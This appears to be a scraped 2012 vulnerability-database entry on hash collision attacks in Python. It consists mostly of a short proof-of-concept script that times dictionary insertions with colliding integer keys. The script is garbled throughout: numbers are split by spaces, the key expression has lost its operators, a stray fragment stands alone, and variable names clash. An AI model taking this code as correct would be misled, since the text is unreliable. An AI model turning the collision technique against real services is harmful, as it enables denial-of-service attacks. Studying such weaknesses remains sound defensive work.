python hash collision attacks exploit-vulnerability warning-the black bar safety net

2012-01-14T00:00:00
ID MYHACK58:62201232905
Type myhack58
Reporter 佚名
Modified 2012-01-14T00:00:00

Description

/usr/bin/python

to attack hash collision in python

code by joeda@hi.baidu.com 2012-01-05

to save as atk.py

python atk.py 4 0 0 0 0

.

42.530313015

*

0.087562084198

import time, sys

MAX = 1 0 0 0 0 0

try:

MAX = int( sys. argv[1] )

except:

pass

t0= time. time()

k={}

for i in range(MAX):

k[ i22**3 1-i ] = 0

print '.'

print time. time() - t0

t0=time. time()

kp={}

for i in range( MAX ):

i22**3 1

k[i] = 0

print '*'

print time. time() - t0